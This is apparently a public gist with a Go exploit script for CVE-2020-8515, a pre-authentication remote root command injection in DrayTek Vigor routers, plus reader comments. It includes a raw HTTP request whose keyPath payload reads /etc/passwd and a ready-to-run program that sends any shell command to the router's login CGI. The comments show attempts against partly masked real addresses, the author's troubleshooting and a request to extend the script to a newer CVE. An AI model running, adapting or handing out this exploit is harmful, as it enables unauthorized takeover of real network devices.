CVE-2020-8515: DrayTek pre-auth remote root RCE

CVE-2020-8515.go

package main


/*
CVE-2020-8515: DrayTek pre-auth remote root RCE

Mon Mar 30 2020 -  0xsha.io


Affected:

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta

You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.


read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/

exploiting using keyPath

POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
 */

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"strings"
)

func usage()  {

	fmt.Println("CVE-2020-8515 exploit by  @0xsha ")
	fmt.Println("Usage :  " + os.Args[0] + " URL " + "command"  )
	fmt.Println("E.G :  " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\""  )
}

func main() {


	if len(os.Args) < 3 {
		usage()
		os.Exit(-1)
	}

	targetUrl := os.Args[1]
	//cmd := "cat /etc/passwd"
	cmd := os.Args[2]


	// payload preparation
	vulnerableFile := "/cgi-bin/mainfunction.cgi"
	// specially crafted CMD
	// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
	payload :=`'
	/bin/sh -c 'CMD'
	'`
	payload = strings.ReplaceAll(payload,"CMD", cmd)
	bypass := strings.ReplaceAll(payload," ", "${IFS}")

	//PostForm call url encoder internally
	resp, err := http.PostForm(targetUrl+vulnerableFile ,
		url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"}   })

	if err != nil{
		fmt.Println("error connecting host")
		os.Exit(-1)
	}


	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	
	if err != nil{
		fmt.Println("error reading data")
		os.Exit(-1)
	}
	
	fmt.Println(string(body))

}

for exemplo :https://177.x.x.x.x:85
go run vigor260.go https://177.x.x.x.x\"uname -a"

error connecting host
exit status 255

for exemplo :https://177.x.x.x.x:85
go run vigor260.go https://177.x.x.x.x"uname -a"

error connecting host
exit status 255

1- You are doing it wrong go run CVE-2020-8515.go http://1.2.3.4 "uname -a" is correct format.
2- Maybe target isn't vulnerable any more? because this issue "patched months ago".
3- Full packet is in comment section try to send the packet manually .

0xSha

I found out that my client has 2 draytek. And I doubt that they have updated. I'm doing a pentest and I would like to do one, because it demonstrates the failure

Hello Sir, just wondering will you edit the script to work with the newest exploit that has been announced by DrayTek yesterday :
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-remote-code-injection/execution-vulnerability-(cve-2020-14472)